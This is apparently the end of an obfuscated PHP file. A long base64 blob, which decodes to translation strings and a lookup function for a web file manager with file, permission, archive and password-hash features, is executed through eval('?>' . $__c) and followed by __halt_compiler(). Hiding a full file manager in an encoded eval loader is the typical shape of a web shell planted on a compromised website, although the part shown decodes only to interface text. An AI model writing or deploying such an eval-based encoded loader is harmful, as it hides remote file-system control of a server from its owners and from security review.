AgICAgICAgICAgICAgICAgJHRyWydlbiddWydDaGFuZ2UnXSAgICAgICAgICAgICA9ICdDaGFuZ2UnOw0KICAgICR0clsnZW4nXVsnU2V0dGluZ3MnXSAgICAgICA9ICdTZXR0aW5ncyc7ICAgICAgICAgICAgICAgJHRyWydlbiddWydMYW5ndWFnZSddICAgICAgICAgICA9ICdMYW5ndWFnZSc7ICAgICAgICANCiAgICAkdHJbJ2VuJ11bJ0Vycm9yUmVwb3J0aW5nJ10gPSAnRXJyb3IgUmVwb3J0aW5nJzsgICAgICAgICR0clsnZW4nXVsnU2hvd0hpZGRlbkZpbGVzJ10gICAgPSAnU2hvdyBIaWRkZW4gRmlsZXMnOw0KICAgICR0clsnZW4nXVsnSGVscCddICAgICAgICAgICA9ICdIZWxwJzsgICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydDcmVhdGVkJ10gICAgICAgICAgICA9ICdDcmVhdGVkJzsNCiAgICAkdHJbJ2VuJ11bJ0hlbHAgRG9jdW1lbnRzJ10gPSAnSGVscCBEb2N1bWVudHMnOyAgICAgICAgICR0clsnZW4nXVsnUmVwb3J0IElzc3VlJ10gICAgICAgPSAnUmVwb3J0IElzc3VlJzsNCiAgICAkdHJbJ2VuJ11bJ0dlbmVyYXRlJ10gICAgICAgPSAnR2VuZXJhdGUnOyAgICAgICAgICAgICAgICR0clsnZW4nXVsnRnVsbFNpemUnXSAgICAgICAgICAgPSAnRnVsbCBTaXplJzsgICAgICAgICAgICAgIA0KICAgICR0clsnZW4nXVsnSGlkZUNvbHVtbnMnXSAgICA9ICdIaWRlIFBlcm1zL093bmVyIGNvbHVtbnMnOyR0clsnZW4nXVsnWW91IGFyZSBsb2dnZWQgaW4nXSA9ICdZb3UgYXJlIGxvZ2dlZCBpbic7DQogICAgJHRyWydlbiddWydOb3RoaW5nIHNlbGVjdGVkJ10gICA9ICdOb3RoaW5nIHNlbGVjdGVkJzsgICAkdHJbJ2VuJ11bJ1BhdGhzIG11c3QgYmUgbm90IGVxdWFsJ10gICAgPSAnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnOw0KICAgICR0clsnZW4nXVsnUmVuYW1lZCBmcm9tJ10gICAgICAgPSAnUmVuYW1lZCBmcm9tJzsgICAgICAgJHRyWydlbiddWydBcmNoaXZlIG5vdCB1bnBhY2tlZCddICAgICAgID0gJ0FyY2hpdmUgbm90IHVucGFja2VkJzsNCiAgICAkdHJbJ2VuJ11bJ0RlbGV0ZWQnXSAgICAgICAgICAgID0gJ0RlbGV0ZWQnOyAgICAgICAgICAgICR0clsnZW4nXVsnQXJjaGl2ZSBub3QgY3JlYXRlZCddICAgICAgICA9ICdBcmNoaXZlIG5vdCBjcmVhdGVkJzsNCiAgICAkdHJbJ2VuJ11bJ0NvcGllZCBmcm9tJ10gICAgICAgID0gJ0NvcGllZCBmcm9tJzsgICAgICAgICR0clsnZW4nXVsnUGVybWlzc2lvbnMgY2hhbmdlZCddICAgICAgICA9ICdQZXJtaXNzaW9ucyBjaGFuZ2VkJzsNCiAgICAkdHJbJ2VuJ11bJ3RvJ10gICAgICAgICAgICAgICAgID0gJ3RvJzsgICAgICAgICAgICAgICAgICR0clsnZW4nXVsnU2F2ZWQgU3VjY2Vzc2Z1bGx5J10gICAgICAgICA9ICdTYXZlZCBTdWNjZXNzZnVsbHknOw0KICAgICR0clsnZW4nXVsnbm90IGZvdW5kISddICAgICAgICAgPSAnbm90IGZvdW5kISc7ICAgICAgICAgJHRyWydlbiddWydGaWxlIFNhdmVkIFN1Y2Nlc3NmdWxseSddICAgID0gJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5JzsNCiAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUnXSAgICAgICAgICAgID0gJ0FyY2hpdmUnOyAgICAgICAgICAgICR0clsnZW4nXVsnUGVybWlzc2lvbnMgbm90IGNoYW5nZWQnXSAgICA9ICdQZXJtaXNzaW9ucyBub3QgY2hhbmdlZCc7DQogICAgJHRyWydlbiddWydTZWxlY3QgZm9sZGVyJ10gICAgICA9ICdTZWxlY3QgZm9sZGVyJzsgICAgICAkdHJbJ2VuJ11bJ1NvdXJjZSBwYXRoIG5vdCBkZWZpbmVkJ10gICAgPSAnU291cmNlIHBhdGggbm90IGRlZmluZWQnOw0KICAgICR0clsnZW4nXVsnYWxyZWFkeSBleGlzdHMnXSAgICAgPSAnYWxyZWFkeSBleGlzdHMnOyAgICAgJHRyWydlbiddWydFcnJvciB3aGlsZSBtb3ZpbmcgZnJvbSddICAgID0gJ0Vycm9yIHdoaWxlIG1vdmluZyBmcm9tJzsNCiAgICAkdHJbJ2VuJ11bJ0NyZWF0ZSBhcmNoaXZlPyddICAgID0gJ0NyZWF0ZSBhcmNoaXZlPyc7ICAgICR0clsnZW4nXVsnSW52YWxpZCBmaWxlIG9yIGZvbGRlciBuYW1lJ10gICAgPSAnSW52YWxpZCBmaWxlIG9yIGZvbGRlciBuYW1lJzsNCiAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgdW5wYWNrZWQnXSAgID0gJ0FyY2hpdmUgdW5wYWNrZWQnOyAgICR0clsnZW4nXVsnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnXSAgPSAnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnOw0KICAgICR0clsnZW4nXVsnUm9vdCBwYXRoJ10gICAgICAgICAgPSAnUm9vdCBwYXRoJzsgICAgICAgICAgJHRyWydlbiddWydFcnJvciB3aGlsZSByZW5hbWluZyBmcm9tJ10gID0gJ0Vycm9yIHdoaWxlIHJlbmFtaW5nIGZyb20nOw0KICAgICR0clsnZW4nXVsnRmlsZSBub3QgZm91bmQnXSAgICAgPSAnRmlsZSBub3QgZm91bmQnOyAgICAgJHRyWydlbiddWydFcnJvciB3aGlsZSBkZWxldGluZyBpdGVtcyddID0gJ0Vycm9yIHdoaWxlIGRlbGV0aW5nIGl0ZW1zJzsNCiAgICAkdHJbJ2VuJ11bJ01vdmVkIGZyb20nXSAgICAgICAgID0gJ01vdmVkIGZyb20nOyAgICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnXSA9ICdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCc7DQogICAgJHRyWydlbiddWydMb2dpbiBmYWlsZWQuIEludmFsaWQgdXNlcm5hbWUgb3IgcGFzc3dvcmQnXSA9ICdMb2dpbiBmYWlsZWQuIEludmFsaWQgdXNlcm5hbWUgb3IgcGFzc3dvcmQnOw0KICAgICR0clsnZW4nXVsncGFzc3dvcmRfaGFzaCBub3Qgc3VwcG9ydGVkLCBVcGdyYWRlIFBIUCB2ZXJzaW9uJ10gPSAncGFzc3dvcmRfaGFzaCBub3Qgc3VwcG9ydGVkLCBVcGdyYWRlIFBIUCB2ZXJzaW9uJzsNCiAgICAkdHJbJ2VuJ11bJ0FkdmFuY2VkIFNlYXJjaCddICAgID0gJ0FkdmFuY2VkIFNlYXJjaCc7ICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJ10gICAgPSAnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJzsNCiAgICAkdHJbJ2VuJ11bJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG5hbWUnXSAgICAgICAgICAgICAgICA9ICdJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJzsNCiAgICAkdHJbJ2VuJ11bJ0ZJTEUgRVhURU5TSU9OIEhBUyBOT1QgU1VQUE9SVEVEJ10gICAgICAgICAgICAgICA9ICdGSUxFIEVYVEVOU0lPTiBIQVMgTk9UIFNVUFBPUlRFRCc7DQogICAgJHRyWydlbiddWydTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQnXSAgICAgICAgICAgICAgPSAnU2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlciBkZWxldGVkJzsNCiAgICAkdHJbJ2VuJ11bJ0Vycm9yIHdoaWxlIGZldGNoaW5nIGFyY2hpdmUgaW5mbyddICAgICAgICAgICAgICA9ICdFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nOw0KICAgICR0clsnZW4nXVsnRGVsZXRlIHNlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzPyddICAgICAgICAgICAgID0gJ0RlbGV0ZSBzZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycz8nOw0KICAgICR0clsnZW4nXVsnU2VhcmNoIGZpbGUgaW4gZm9sZGVyIGFuZCBzdWJmb2xkZXJzLi4uJ10gICAgICAgID0gJ1NlYXJjaCBmaWxlIGluIGZvbGRlciBhbmQgc3ViZm9sZGVycy4uLic7DQogICAgJHRyWydlbiddWydBY2Nlc3MgZGVuaWVkLiBJUCByZXN0cmljdGlvbiBhcHBsaWNhYmxlJ10gICAgICAgPSAnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZSc7DQogICAgJHRyWydlbiddWydJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBvciBmb2xkZXIgbmFtZSddICAgICAgPSAnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgb3IgZm9sZGVyIG5hbWUnOw0KICAgICR0clsnZW4nXVsnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJ10gICAgID0gJ09wZXJhdGlvbnMgd2l0aCBhcmNoaXZlcyBhcmUgbm90IGF2YWlsYWJsZSc7DQogICAgJHRyWydlbiddWydGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cyddICAgPSAnRmlsZSBvciBmb2xkZXIgd2l0aCB0aGlzIHBhdGggYWxyZWFkeSBleGlzdHMnOw0KICAgICR0clsnZW4nXVsnQXJlIHlvdSBzdXJlIHdhbnQgdG8gcmVuYW1lPyddICAgICAgICAgICAgICAgICAgID0gJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nOw0KICAgICR0clsnZW4nXVsnQXJlIHlvdSBzdXJlIHdhbnQgdG8nXSAgICAgICAgICAgICAgICAgICAgICAgICAgID0gJ0FyZSB5b3Ugc3VyZSB3YW50IHRvJzsNCg0KICAgICRpMThuID0gZm1fZ2V0X3RyYW5zbGF0aW9ucygkdHIpOw0KICAgICR0ciA9ICRpMThuID8gJGkxOG4gOiAkdHI7DQoNCiAgICBpZiAoIXN0cmxlbigkbGFuZykpICRsYW5nID0gJ2VuJzsNCiAgICBpZiAoaXNzZXQoJHRyWyRsYW5nXVskdHh0XSkpIHJldHVybiBmbV9lbmMoJHRyWyRsYW5nXVskdHh0XSk7DQogICAgZWxzZSBpZiAoaXNzZXQoJHRyWydlbiddWyR0eHRdKSkgcmV0dXJuIGZtX2VuYygkdHJbJ2VuJ11bJHR4dF0pOw0KICAgIGVsc2UgcmV0dXJuICIkdHh0IjsNCn0NCg0KPz4NCg==');
eval('?>' . $__c);
__halt_compiler();
?>